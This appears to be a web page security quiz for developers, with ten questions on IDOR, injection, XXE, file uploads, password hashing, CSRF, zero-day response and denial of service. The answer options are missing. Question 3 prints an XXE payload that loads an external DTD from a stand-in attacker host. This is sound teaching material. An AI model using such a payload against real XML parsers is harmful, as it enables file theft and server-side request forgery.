Test yourself!

I agree with the privacy policy!
1.  Which of the URLs below are likely to be manipulated by an attacker to access a resource they shouldn't be able to access (Insecure Direct Object Reference)?
Tick indicator
Tick indicator
Tick indicator
Tick indicator
Tick indicator
2.  What do programmers need to do to avoid injection vulnerabilities in databases?
Choose one Correct Partially Wrong
3.  Take this XML:
  <?xml version="1.0" ?>
  <!DOCTYPE evil [
  <!ENTITY % dtd SYSTEM "https://evil.hacker.com/evil.dtd">
  %dtd;
  %dosomething;
  ]>
  <a>&x;</a>

Assuming that the attacker is in control of https://evil.hacker.com/evil.dtd, which of the following can the attacker realistically force our program to do when we parse this XML file?
Tick indicator
Tick indicator
Tick indicator
Tick indicator
Tick indicator
4.  Let's say users on your website can upload a .jpg file into a file storage area. How would you protect your system from malicious uploaded files?
Choose one Correct Partially Wrong
5.  What would you do if you had to upgrade your user password storage to use a more secure storage algorithm (e.g. switching from MD5 to Argon2)?
Choose one Correct Partially Wrong
6.  Which of the following will have a positive effect on the strength of user passwords?
Choose one Correct Partially Wrong
7.  Which of the following solutions can help developers avoid Cross-Site Request Forgery (CSRF) attacks?
Choose one Correct Partially Wrong
8.  You're using MegaBrainSoft's JSON library to parse JSONs sent by the client. Someone posted a tweet about a zero-day vulnerability in it:
A potential remote code execution (RCE) if a JSON schema is used to validate a malformed JSON file. The vulnerability is called "BrainF0g" (CVE-2022-xxxxx) and has a CVSS score of 9.8 on NVD. MegaBrainSoft says a patch will be released in 7 days. Which of the following steps are productive in this situation?
Choose one Correct Partially Wrong
9.  Which of the following are viable denial of service attacks against a modern web application behind a state-of-the-art load balancer?
Choose one Correct Partially Wrong
10.  Which of the following statements are true?
Choose one Correct Partially Wrong
I agree with the privacy policy!